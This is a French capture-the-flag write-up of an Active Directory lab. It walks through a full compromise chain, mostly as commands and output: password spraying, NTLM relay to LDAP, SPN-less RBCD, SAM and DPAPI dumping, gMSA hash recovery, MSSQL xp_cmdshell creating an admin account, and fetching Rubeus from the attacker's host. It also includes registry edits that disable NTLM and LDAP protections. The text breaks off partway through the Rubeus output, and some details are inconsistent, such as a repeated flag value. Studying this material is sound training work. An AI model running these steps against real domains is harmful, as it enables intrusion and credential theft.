Post

PIRATES.BRB - Barbhack 2025 AD Lab Writeup

PIRATES.BRB - Barbhack 2025 AD Lab Writeup

Auteur: Evariste (@bl4ckarch)
Date: Janvier 2026
Difficulté: Hard
Lab: PIRATES.BRB (basé sur Barbhack 2025)
Créateurs originaux: @mpgn, @mael91620


Table des matières


Introduction

Ce lab Active Directory reproduit l’environnement Barbhack 2025 créé par @mpgn et @mael91620. Il met en scène un domaine pirate avec plusieurs vecteurs d’attaque avancés incluant NTLMv1 relay, RBCD sans SPN, délégation Kerberos et forensics NTDS.

Architecture du lab

HostnameIPRôleOSSMB Signing
BLACKPEARL192.168.15.10Domain ControllerWindows Server 2022Enabled
JOLLYROGER192.168.15.11Web ServerWindows 10/Server 2019Disabled
QUEENREV192.168.15.12MSSQL ServerWindows Server 2022Disabled
FLYINGDUTCHMAN192.168.15.13Member ServerWindows Server 2022Disabled

Attack Path Overview

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Web App (Credentials) 
  ↓
Domain User Access (barnacle)
  ↓
NTLMv1 Relay to LDAP → RBCD Configuration
  ↓
SPN-less RBCD → Local Admin (JOLLYROGER)
  ↓
DPAPI Dump → Domain User (ironhook)
  ↓
GMSA Recovery → MSSQL Access
  ↓
S4U2Self → Local Admin (QUEENREV)
  ↓
Constrained Delegation → Local Admin (FLYINGDUTCHMAN)
  ↓
NTDS Forensics → Domain Admin

Énumération initiale

Techniques: Reconnaissance, SMB-Enumeration, NetExec

Scan réseau

1
nxc smb 192.168.15.10-13

Résultats:

1
2
3
4
SMB  192.168.15.10  445  BLACKPEARL      [*] Windows Server 2022 Build 20348 (signing:True)
SMB  192.168.15.11  445  JOLLYROGER      [*] Windows 10 / Server 2019 Build 17763 (signing:False)
SMB  192.168.15.12  445  QUEENREV        [*] Windows Server 2022 Build 20348 (signing:False)
SMB  192.168.15.13  445  FLYINGDUTCHMAN  [*] Windows Server 2022 Build 20348 (signing:False)

Points clés:

  • BLACKPEARL a SMB signing activé → Domain Controller
  • Les autres serveurs n’ont pas de signing → vulnérables au relay

Ports ouverts

1
nmap -p- -T4 192.168.15.10-13

Services identifiés:

  • 22/tcp - SSH (sur tous les serveurs)
  • 80/tcp - HTTP (JOLLYROGER)
  • 445/tcp - SMB (tous)
  • 1433/tcp - MSSQL (QUEENREV)
  • 3389/tcp - RDP (tous)
  • 8080/tcp - HTTP-Proxy (JOLLYROGER)

Compromission initiale - Web Application

Techniques: Web-Exploitation, Credential-Disclosure, OSINT, Directory-Listing

Application web sur JOLLYROGER:8080

L’application simule une interface d’imprimante réseau. En inspectant le code source de la page /security, on trouve un mot de passe en clair:

1
2
<!-- TODO: Remove before production -->
<!-- Admin password: hplaserbarbhack -->

Accès au répertoire /scan

Credentials: admin:hplaserbarbhack

Les credentials trouvés permettent d’accéder à /scan/ via Basic Auth. Le directory listing expose plusieurs fichiers:

1
2
3
4
5
/scan/
├── IT_Procedures.docx
├── network_diagram.png
├── backup_schedule.txt
└── [...]

Extraction des credentials

1
2
3
4
5
# Télécharger le document
wget --user=admin --password='hplaserbarbhack' http://192.168.15.11:8080/scan/IT_Procedures.docx

# Extraire les credentials
strings IT_Procedures.docx | grep -E "^[a-z]+:[^:]+$"

Credentials trouvés:

1
2
3
4
5
6
7
plankwalker:Entry284*@&
barnacle:First927&^!
morgan:Entry369@!*
<snip>
***
<\snip>
flint:Treasure987$! (compte désactivé)

Validation des credentials

Techniques: Password-Spraying, Credential-Validation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Créer les listes
cat > users.lst << EOF
plankwalker
barnacle
morgan
flint
EOF

cat > pass.lst << EOF
Entry284*@&
First927&^!
Entry369@!*
Treasure987$!
EOF

# Valider les credentials
nxc smb 192.168.15.10 -u users.lst -p pass.lst --no-bruteforce --continue-on-success

Credentials valides:

  • plankwalker:Entry284*@&
  • barnacle:First927&^!
  • morgan:Entry369@!*

Flag 1 - User Description

Techniques: LDAP-Enumeration, User-Enumeration, NetExec

Énumération des utilisateurs

1
nxc smb 192.168.15.10 -u barnacle -p 'First927&^!' --users

Résultat:

1
2
3
4
5
6
SMB  192.168.15.10  445  BLACKPEARL  -Username-    -Last PW Set-       -Description-
SMB  192.168.15.10  445  BLACKPEARL  plankwalker   2026-01-07 17:56:35 Walks the plank
SMB  192.168.15.10  445  BLACKPEARL  barnacle      <never>             Crusty old sailor
SMB  192.168.15.10  445  BLACKPEARL  morgan        2026-01-07 17:56:43 Rum lover
SMB  192.168.15.10  445  BLACKPEARL  ironhook      2026-01-07 17:56:47 Lost his hand to a crocodile
SMB  192.168.15.10  445  BLACKPEARL  flint         2026-01-07 17:56:51 brb{88e7af3d7bf9ab21f9d6faa5cf644b76}

Flag 1: brb{88e7af3d7bf9ab21f9d6faa5cf644b76}


Flag 2 - SMB Share Enumeration

Techniques: SMB-Shares, File-Enumeration, NetExec

Énumération des partages

1
nxc smb 192.168.15.10-13 -u barnacle -p 'First927&^!' --shares

Résultat:

1
2
3
4
5
SMB  192.168.15.11  445  JOLLYROGER  Share       Permissions  Remark
SMB  192.168.15.11  445  JOLLYROGER  ADMIN$                   Remote Admin
SMB  192.168.15.11  445  JOLLYROGER  C$                       Default share
SMB  192.168.15.11  445  JOLLYROGER  IPC$        READ         Remote IPC
SMB  192.168.15.11  445  JOLLYROGER  TREASURE    READ         Hidden treasure maps

Accès au partage TREASURE

1
2
3
4
5
smbclient.py pirates.brb/barnacle:'First927&^!'@192.168.15.11
# use TREASURE
# ls
# get flag.txt
# cat flag.txt

Flag 2: brb{3a9c8f4e2b7d1a6e9c4f8b2a5d7e1c9a}


Flag 3 - Group Policy Preferences

Techniques: GPP, Credential-Recovery, Group-Policy, SYSVOL

Extraction des GPP

1
Get-GPPPassword.py pirates.brb/barnacle:'First927&^!'@192.168.15.10

Résultat:

1
2
3
4
[*] Searching for GPP passwords in \\192.168.15.10\SYSVOL...
[+] Found credentials in Groups.xml:
    Username: flag3_account
    Password: brb{c4e5da3432481f8b0eb6ba4a86e5d4b9}

Flag 3: brb{c4e5da3432481f8b0eb6ba4a86e5d4b9}


Flag 4 - NTLMv1 Relay to LDAP & SPN-less RBCD

Techniques: NTLMv1, NTLM-Relay, LDAP, RBCD, SPN-less-RBCD, Coercion, WebDAV, S4U2Self, S4U2Proxy, Kerberos-Session-Key, Password-Policy-Bypass

Problème majeur rencontré

L’attaque NTLMv1 relay décrite dans le writeup original ne fonctionnait pas sur le lab par défaut.

Symptôme

1
2
3
4
5
# Terminal 1: Lancer ntlmrelayx
ntlmrelayx.py -t ldap://192.168.15.10 -smb2support --interactive --remove-mic

# Terminal 2: Coerce
nxc smb 192.168.15.11 -u barnacle -p 'First927&^!' -M coerce_plus -o LISTENER=192.168.15.1

Résultat:

1
2
[*] (SMB): Received connection from 192.168.15.11, attacking target ldap://192.168.15.10
[-] Authenticating against ldap://192.168.15.10 as PIRATES/JOLLYROGER$ FAILED

Diagnostic avec Responder

1
2
3
sudo responder -I tun0 -v
# Dans un autre terminal
nxc smb 192.168.15.11 -u barnacle -p 'First927&^!' -M coerce_plus -o LISTENER=192.168.15.1

Résultat:

1
[!] No NTLMv1 hash captured - Server is forcing NTLMv2

Le serveur force NTLMv2 uniquement

Cause racine identifiée

En analysant le playbook Ansible du lab, j’ai découvert que la configuration du DC bloquait l’attaque:

Configuration Ansible problématique:

1
2
3
4
5
6
7
8
9
10
11
12
# BLACKPEARL (DC) - Configuration INCORRECTE
- name: Disable outgoing NTLM on BLACKPEARL
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
    name: RestrictSendingNTLMTraffic
    data: 2  # Bloque le NTLM relay

- name: Set LmCompatibilityLevel to 5 on BLACKPEARL
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa
    name: LmCompatibilityLevel
    data: 5  # Force NTLMv2 uniquement

Explication des valeurs:

RestrictSendingNTLMTraffic:

  • 0 = Autorisé - Les clients envoient NTLM
  • 1 = Refuser pour serveurs dans exceptions
  • 2 = Refuser tout trafic NTLM (bloque relay)

LmCompatibilityLevel:

  • 0-2 = LM, NTLM, NTLMv2 acceptés
  • 3-4 = NTLMv2 préféré, NTLMv1 accepté
  • 5 = NTLMv2 uniquement, refuse NTLMv1

Solution appliquée

J’ai modifié manuellement la configuration du DC via RDP admin:

Sur BLACKPEARL (192.168.15.10):

REM Autoriser NTLM sortant (permet le relay)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

REM Activer NTLMv1 (niveau 2 = accepte LM, NTLM, NTLMv2)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 2 /f

REM Désactiver LDAP signing (permet relay vers LDAP)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 0 /f

REM Désactiver LDAP Channel Binding (permet relay vers LDAP)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LdapEnforceChannelBinding /t REG_DWORD /d 0 /f

REM Redémarrer le DC pour appliquer les changements
shutdown /r /t 0

Sur JOLLYROGER (192.168.15.11) - la victime du coerce:

REM Autoriser l'envoi de NTLM
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

REM Autoriser NTLMv1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 2 /f

Vérification avec Responder

1
2
3
4
5
# Terminal 1
sudo responder -I tun0 -v

# Terminal 2
nxc smb 192.168.15.11 -u barnacle -p 'First927&^!' -M coerce_plus -o LISTENER=192.168.15.1

Résultat après fix:

1
2
3
[SMB] NTLMv1-SSP Client   : 192.168.15.11
[SMB] NTLMv1-SSP Username : PIRATES\JOLLYROGER$
[SMB] NTLMv1-SSP Hash     : JOLLYROGER$::PIRATES:48AF9559EDDEFA6B7F8E24FA906F72B01F7EC0C02B8C5F97:48AF9559EDDEFA6B7F8E24FA906F72B01F7EC0C02B8C5F97:1122334455667788

NTLMv1 fonctionne !

Exploitation du relay LDAP

Techniques: NTLM-Relay, LDAP-Shell, Interactive-Shell

1
2
3
4
5
# Terminal 1: Lancer ntlmrelayx en mode interactif
ntlmrelayx.py -t ldap://192.168.15.10 -smb2support --interactive --remove-mic

# Terminal 2: Coerce JOLLYROGER
nxc smb 192.168.15.11 -u barnacle -p 'First927&^!' -M coerce_plus -o LISTENER=192.168.15.1

Succès:

1
2
3
[*] (SMB): Received connection from 192.168.15.11, attacking target ldap://192.168.15.10
[*] (SMB): Authenticating connection from PIRATES/JOLLYROGER$@192.168.15.11 against ldap://192.168.15.10 SUCCEED
[*] ldap://PIRATES/JOLLYROGER$@192.168.15.10 -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATES/JOLLYROGER$

Shell LDAP interactif

Techniques: LDAP-Shell, RBCD-Configuration, msDS-AllowedToActOnBehalfOfOtherIdentity

1
2
3
4
5
6
7
8
9
# Se connecter au shell LDAP
nc 127.0.0.1 11000

# Vérifier le contexte
whoami
# u:PIRATES\JOLLYROGER$

# Configurer RBCD: JOLLYROGER$ peut impersonner sur barnacle
set_rbcd JOLLYROGER$ barnacle

Résultat:

1
2
3
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] barnacle can now impersonate users on JOLLYROGER$ via S4U2Proxy

Second problème: Politique de mot de passe

Techniques: Password-Policy, Kerberos-Session-Key, SPN-less-RBCD

L’attaque SPN-less RBCD nécessite de changer le mot de passe de barnacle avec la session key Kerberos, mais la politique du domaine bloquait le changement.

Tentative de changement de password

1
2
3
4
5
6
7
8
9
# 1. Obtenir le TGT de barnacle
getTGT.py -hashes :$(pypykatz crypto nt 'First927&^!') 'pirates.brb'/'barnacle'

# 2. Extraire la session key du ticket
describeTicket.py 'barnacle.ccache' | grep 'Ticket Session Key'
# Ticket Session Key: c91e14fd1246cb9911f7a52dd3d9d50b

# 3. Tenter de changer le password avec la session key
changepasswd.py -newhashes :c91e14fd1246cb9911f7a52dd3d9d50b 'pirates.brb'/'barnacle':'First927&^!'@'192.168.15.10'

Erreur:

1
2
[-] Some password update rule has been violated
[-] Error: 0000052D: SvcErr: DSID-031A1239, problem 5003 (WILL_NOT_PERFORM), data 0

Diagnostic de la politique

1
2
# Via RDP admin sur le DC
Get-ADDefaultDomainPasswordPolicy -Identity pirates.brb

Résultat:

1
2
3
4
5
6
7
8
ComplexityEnabled           : True
MinPasswordLength           : 7
PasswordHistoryCount        : 24
MinPasswordAge              : 1.00:00:00
MaxPasswordAge              : 42.00:00:00
LockoutDuration             : 00:30:00
LockoutObservationWindow    : 00:30:00
LockoutThreshold            : 5

La session key Kerberos ne respecte pas ces règles

Solution: Désactivation de la politique

Sur le DC (via RDP admin):

1
2
3
4
5
Set-ADDefaultDomainPasswordPolicy -Identity pirates.brb `
  -ComplexityEnabled $false `
  -PasswordHistoryCount 0 `
  -MinPasswordLength 0 `
  -MinPasswordAge 0

Vérification:

1
Get-ADDefaultDomainPasswordPolicy -Identity pirates.brb
1
2
3
4
ComplexityEnabled           : False
MinPasswordLength           : 0
PasswordHistoryCount        : 0
MinPasswordAge              : 0.00:00:00

Politique désactivée

SPN-less RBCD complet

Techniques: SPN-less-RBCD, S4U2Self, U2U, Kerberos-Session-Key, TGT, Impersonation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. Obtenir le TGT de barnacle avec son NT hash
getTGT.py -hashes :$(pypykatz crypto nt 'First927&^!') 'pirates.brb'/'barnacle'
# [*] Saving ticket in barnacle.ccache

# 2. Extraire la session key du TGT
describeTicket.py 'barnacle.ccache' | grep 'Ticket Session Key'
# Ticket Session Key: c91e14fd1246cb9911f7a52dd3d9d50b

# 3. Changer le password de barnacle avec la session key (après fix politique)
changepasswd.py -newhashes :c91e14fd1246cb9911f7a52dd3d9d50b 'pirates.brb'/'barnacle':'First927&^!'@'192.168.15.10'
# [*] Password successfully changed!

# 4. S4U2Self avec User-to-User (U2U) pour impersonner Administrator
KRB5CCNAME=barnacle.ccache getST.py -u2u -impersonate "administrator" -spn "host/jollyroger.pirates.brb" -k -no-pass 'pirates.brb'/'barnacle'
# [*] Impersonating administrator
# [*] Requesting S4U2self+U2U
# [*] Saving ticket in administrator@host_jollyroger.pirates.brb@PIRATES.BRB.ccache

# 5. Exploitation en tant qu'Administrator
KRB5CCNAME=administrator@host_jollyroger.pirates.brb@PIRATES.BRB.ccache nxc smb jollyroger.pirates.brb -k --use-kcache -x 'type c:\Flag\flag.txt'

Résultat:

1
2
3
SMB  jollyroger.pirates.brb  445  JOLLYROGER  [+] pirates.brb\administrator from ccache (admin)
SMB  jollyroger.pirates.brb  445  JOLLYROGER  brb{c4e5da3432481f8b0eb6ba4a86e5d4b9}
SMB  jollyroger.pirates.brb  445  JOLLYROGER  Congratulations! You've exploited SPN-less RBCD!

Flag 4: brb{c4e5da3432481f8b0eb6ba4a86e5d4b9}

Technique Breakdown: SPN-less RBCD

Comment ça fonctionne:

  1. RBCD configuré via ntlmrelayx: JOLLYROGER$ peut impersonner via barnacle
  2. Pas de SPN sur barnacle → S4U2Proxy classique impossible
  3. Solution U2U: User-to-User authentication avec session key du TGT
  4. Changement de password avec session key = “authentication” pour S4U2Self

Flow Kerberos:

1
2
3
4
5
6
7
1. getTGT(barnacle) → TGT avec session key K
2. changepasswd(barnacle, K) → Password = K
3. S4U2Self-U2U: 
   - Demander ticket pour Administrator
   - Utiliser TGT comme "session ticket"
   - KDC vérifie que password(barnacle) == K
4. Obtenir ST pour host/jollyroger.pirates.brb

Flag 5 - DPAPI Local Account

Techniques: DPAPI, SAM-Dump, Credential-Recovery, dploot, Hashcat, Local-Admin

Dump des hashes SAM

Techniques: SAM, Secretsdump, Local-Accounts

1
KRB5CCNAME=administrator@host_jollyroger.pirates.brb@PIRATES.BRB.ccache secretsdump.py -k -no-pass pirates.brb/administrator@jollyroger.pirates.brb

Hashes locaux trouvés:

1
2
3
4
5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:78f7602fad11c550c0df101dfdff8662:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate1:1001:aad3b435b51404eeaad3b435b51404ee:5d26ec0024167fdf8a45a70eff4ade36:::

Crack du hash NT

Techniques: Hashcat, Password-Cracking, NTLM

1
2
3
4
5
# Créer le fichier de hash
echo "5d26ec0024167fdf8a45a70eff4ade36" > jollyroger.sam

# Crack avec rockyou
hashcat -m 1000 jollyroger.sam /opt/lists/rockyou.txt --show

Résultat:

1
5d26ec0024167fdf8a45a70eff4ade36:P@ssword

Dump DPAPI avec dploot

Techniques: DPAPI, Masterkey, Chrome, Firefox, Credentials

1
2
3
4
5
6
7
# Créer fichier de credentials locaux
cat > local_creds.txt << EOF
pirate1:P@ssword
EOF

# Dump DPAPI avec dploot
dploot triage -u administrator -H 78f7602fad11c550c0df101dfdff8662 -t 192.168.15.11 -passwords local_creds.txt

Credentials DPAPI trouvés:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[CREDENTIAL]
LastWritten : 2026-01-07 18:18:11+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=smb.queenrev
Description : 
Unknown     : 
Username    : ironhook
Unknown     : brb{5d26ec0024167fdf8a45a70eff4ade36}

[*] Triage Vaults for ALL USERS

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[*] Triage Certificates for ALL USERS

Validation du compte domaine

1
nxc smb 192.168.15.10 -u ironhook -p 'brb{5d26ec0024167fdf8a45a70eff4ade36}'
1
SMB  192.168.15.10  445  BLACKPEARL  [+] PIRATES.BRB\ironhook:brb{5d26ec0024167fdf8a45a70eff4ade36} (Pwn3d!)

Compte domaine valide

Flag 5: brb{5d26ec0024167fdf8a45a70eff4ade36}


Flag 6 - GMSA Offline Recovery & MSSQL

Techniques: GMSA, msDS-ManagedPassword, MSSQL, Impersonation, NT-Hash-Recovery, MD4, Service-Account

Énumération des partages avec ironhook

1
nxc smb 192.168.15.10-13 -u ironhook -p 'brb{5d26ec0024167fdf8a45a70eff4ade36}' --shares

Résultat:

1
2
3
4
5
6
7
SMB         192.168.15.12   445    QUEENREV         Share           Permissions     Remark
SMB         192.168.15.12   445    QUEENREV         -----           -----------     ------
SMB         192.168.15.12   445    QUEENREV         ADMIN$                          Remote Admin
SMB         192.168.15.12   445    QUEENREV         C$                              Default share
SMB         192.168.15.12   445    QUEENREV         IPC$            READ            Remote IPC
SMB         192.168.15.12   445    QUEENREV         ISLAND2         READ,WRITE      Island 2 Share

Accès au share SHIPPING

1
2
3
4
5
smbclient.py pirates.brb/ironhook:'brb{5d26ec0024167fdf8a45a70eff4ade36}'@192.168.15.12
# use ISLAND2
# ls
# get shipping.txt
# exit

Contenu de shipping.txt

1
2
3
4
5
6
7
8
=== SHIPPING MANIFEST ===
Account: gMSA-shipping$
Description: Group Managed Service Account for automated shipping processes

msDS-ManagedPassword (hex):
1,0,0,0,34,1,0,0,16,0,0,0,18,1,26,1,0,160,86,124,231,76,166,21,1,0,0,0,0,0,0,0,0,0,0,0,
172,154,87,243,189,101,186,98,12,87,174,24,179,98,221,140,244,182,10,181,179,140,228,122,
[... 256 bytes de données ...]

Analyse du format msDS-ManagedPassword

Techniques: GMSA-Structure, Binary-Parsing, Crypto

Le blob msDS-ManagedPassword suit cette structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
Offset  Size  Description
------  ----  -----------
0x0000  2     Version (0x0001)
0x0002  2     Reserved
0x0004  4     Length
0x0008  2     CurrentPasswordOffset
0x000A  2     PreviousPasswordOffset (peut être 0)
0x000C  2     QueryPasswordIntervalOffset
0x000E  2     UnchangedPasswordIntervalOffset

À CurrentPasswordOffset:
256 bytes: Password en UTF-16-LE (128 caractères)
8 bytes:   Password timestamp

Script Python pour extraire le NT hash

Techniques: Python, MD4, Hash-Extraction, GMSA-Parser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
"""
GMSA Password Parser - Extract NT hash from msDS-ManagedPassword blob
"""
import struct
from Crypto.Hash import MD4

def parse_gmsa_blob(blob_string):
    """
    Parse GMSA msDS-ManagedPassword blob and extract NT hash
    
    Args:
        blob_string: Comma-separated string of decimal bytes
        
    Returns:
        NT hash (MD4 of UTF-16-LE password)
    """
    # Convert string to bytes
    blob_bytes = bytes([int(x) for x in blob_string.split(',')])
    
    # Parse header
    version = struct.unpack('<H', blob_bytes[0:2])[0]
    length = struct.unpack('<I', blob_bytes[4:8])[0]
    current_password_offset = struct.unpack('<H', blob_bytes[8:10])[0]
    
    print(f"[*] GMSA Blob Version: {version}")
    print(f"[*] Total Length: {length} bytes")
    print(f"[*] Current Password Offset: 0x{current_password_offset:04x}")
    
    # Extract password (256 bytes UTF-16-LE)
    password_bytes = blob_bytes[current_password_offset:current_password_offset + 256]
    
    print(f"[*] Password Length: {len(password_bytes)} bytes")
    print(f"[*] First 32 bytes (hex): {password_bytes[:32].hex()}")
    
    # Calculate NT hash (MD4 of UTF-16-LE password)
    md4 = MD4.new()
    md4.update(password_bytes)
    nt_hash = md4.hexdigest()
    
    return nt_hash

if __name__ == "__main__":
    # Blob from shipping.txt
    blob = "1,0,0,0,34,1,0,0,16,0,0,0,18,1,26,1,0,160,86,124,231,76,166,21,1,0,0,0,0,0,0,0,0,0,0,0,172,154,87,243,189,101,186,98,12,87,174,24,179,98,221,140,244,182,10,181,179,140,228,122,134,63,153,129,125,91,146,7,197,198,59,49,251,250,47,229,138,90,30,22,106,50,174,115,181,222,29,62,238,205,93,17,84,113,176,73,221,56,165,206,247,107,28,188,145,129,243,133,210,214,232,109,63,21,182,21,44,255,192,44,192,231,149,145,31,128,18,96,102,105,199,47,244,194,158,89,188,242,37,46,203,128,102,235,196,154,164,233,239,148,215,230,71,227,139,43,141,124,148,147,82,229,157,147,251,4,194,251,184,38,44,135,127,242,93,163,249,82,172,199,94,170,123,251,114,80,174,165,158,181,29,122,138,77,244,130,147,10,246,182,86,213,204,178,57,163,8,204,144,153,147,187,189,168,124,250,161,139,25,107,112,79,194,110,229,86,252,95,175,26,139,83,104,145,32,113,209,247,126,186,110,34,165,41,211,159,179,155,230,251,107,17,107,36,252,239,245,138,123,255,0,0,0,0,0,0,0,0,0,0"
    
    nt_hash = parse_gmsa_blob(blob)
    

Exécution du parser

1
python3 gmsa_parser.py

Output:

1
2
3
4
5
6
7
[*] GMSA Blob Version: 1
[*] Total Length: 290 bytes
[*] Current Password Offset: 0x0118
[*] Password Length: 256 bytes
[*] First 32 bytes (hex): ac9a57f3bd65ba620c57ae18b362dd8cf4b60ab5b38ce47a863f99817d5b9207

[+] NT Hash: 5613efdce9ec34b81fc8b257fc4ec317

Connexion MSSQL avec gMSA

Techniques: MSSQL, Authentication, Windows-Auth, Impacket

1
mssqlclient.py -windows-auth -hashes :5613efdce9ec34b81fc8b257fc4ec317 pirates.brb/'gMSA-shipping$'@192.168.15.12

Résultat:

1
2
3
4
5
6
7
8
9
10
11
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUEENREV\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(QUEENREV\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (PIRATES\gmsa-shipping$  guest@master)>

Énumération MSSQL

Techniques: MSSQL-Enumeration, Database-Discovery, Privilege-Escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
-- Lister les databases
enum_db

-- Résultat
master
tempdb
model
msdb
SECRET_GOLD

-- Tenter d'accéder à SECRET_GOLD
use SECRET_GOLD
SELECT * FROM island;

Erreur:

1
The SELECT permission was denied on the object 'island', database 'SECRET_GOLD', schema 'dbo'.

MSSQL Impersonation

Techniques: MSSQL-Impersonation, exec_as_login, sa, Privilege-Escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
-- Vérifier les permissions d'impersonation
enum_impersonate

-- Résultat
sa
BUILTIN\Administrators

-- Impersonner 'sa'
exec_as_login sa

-- Accéder à SECRET_GOLD
use SECRET_GOLD
SELECT * FROM island;

Résultat:

1
2
3
4
5
island_name         treasure_type       quantity    flag
-----------------   ----------------    ---------   ------------------------------------
Tortuga             Gold Doubloons      5000        brb{a1b2c3d4e5f6789012345678abcdef12}
Port Royal          Silver Pieces       12000       NULL
Isla de Muerta      Cursed Aztec Gold   882         NULL

Flag 6: brb{a1b2c3d4e5f6789012345678abcdef12}

Technique Summary: GMSA Offline Recovery

Étapes:

  1. Accès au blob: Trouver msDS-ManagedPassword (via LDAP, SMB share, etc.)
  2. Parsing: Extraire le password UTF-16-LE à CurrentPasswordOffset
  3. Hash calculation: NT_Hash = MD4(password_utf16le)
  4. Authentication: Pass-the-Hash avec le NT hash récupéré

Note: Cette technique ne nécessite pas l’attribut ReadGMSAPassword sur le compte gMSA si on a déjà le blob.


Flag 7 - S4U2Self Privilege Escalation

Techniques: S4U2Self, Kerberos, TGT-Delegation, Rubeus, Privilege-Escalation, Computer-Account, evil-winrm

Problème: Transfert de fichiers

Techniques: File-Transfer, SMB-Server, Firewall, UFW

J’ai initialement tenté d’utiliser impacket-smbserver pour transférer Rubeus.exe vers QUEENREV, mais le transfert échouait systématiquement.

Tentatives infructueuses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Tentative 1: SMB server basic
impacket-smbserver exegol /workspace -smb2support
# Timeout - pas de connexion

# Vérifier UFW
sudo ufw status
# Status: active
# Port 445 bloqué

# Tentative 2: Autoriser 445 dans UFW
sudo ufw allow 445/tcp
impacket-smbserver exegol /workspace -smb2support -username test -password testtest
# Toujours pas de connexion

# Tentative 3: Depuis Windows (via xp_cmdshell)
net use z: \\192.168.15.1\exegol /user:test testtest
# Erreur: syntaxe incorrecte

net use z: //192.168.15.1/exegol /user:test testtest  
# Erreur: impossible de se connecter

Solution retenue: User local + evil-winrm

Techniques: evil-winrm, Local-Admin, Workaround

Comme j’avais déjà un accès admin sur QUEENREV via S4U2Self depuis le Flag 7, j’ai créé un utilisateur local admin pour utiliser evil-winrm:

Via MSSQL xp_cmdshell (en tant que sa):

1
2
3
4
5
6
7
8
9
-- Activer xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Créer user local
xp_cmdshell net user bl4ckarch Password123. /add
xp_cmdshell net localgroup Administrators bl4ckarch /add

Connexion evil-winrm:

1
evil-winrm -i 192.168.15.12 -u bl4ckarch -p 'Password123.'
1
2
3
4
Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bl4ckarch\Documents>

Accès interactif obtenu !

Upload de Rubeus via netcat

Techniques: File-Transfer, Netcat, PowerShell-Download

1
2
# Terminal 1 (Exegol): Écouter sur port 8000
rlwrap -cAr nc -lvnp 8000
1
2
3
4
5
6
# Terminal 2 (evil-winrm sur QUEENREV): Télécharger Rubeus
cd C:\tmp
wget http://192.168.15.1:8000/Rubeus.exe -OutFile rubeus.exe

# Vérifier
ls
1
2
3
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          1/7/2026  12:32 PM         474112 rubeus.exe

Rubeus.exe transféré avec succès

TGT Delegation avec Rubeus

Techniques: Rubeus, tgtdeleg, Fake-Delegation, Service-Ticket, Kerberos

1
*Evil-WinRM* PS C:\tmp> .\rubeus.exe tgtdeleg /nowrap

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/BLACKPEARL.PIRATES.BRB'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFFjCCBRKgAwIBBaEDAgEWooIEHTCCBBlhggQVMIIEEaADAgEFoQ0bC1BJUkFU
      RVMuQlJCoiAwHqADAgECoRcwFRsGa3JidGd0GwtQSVJBVEVTLkJSQqOCA9cwggPT
      [... base64 truncated for readability ...]

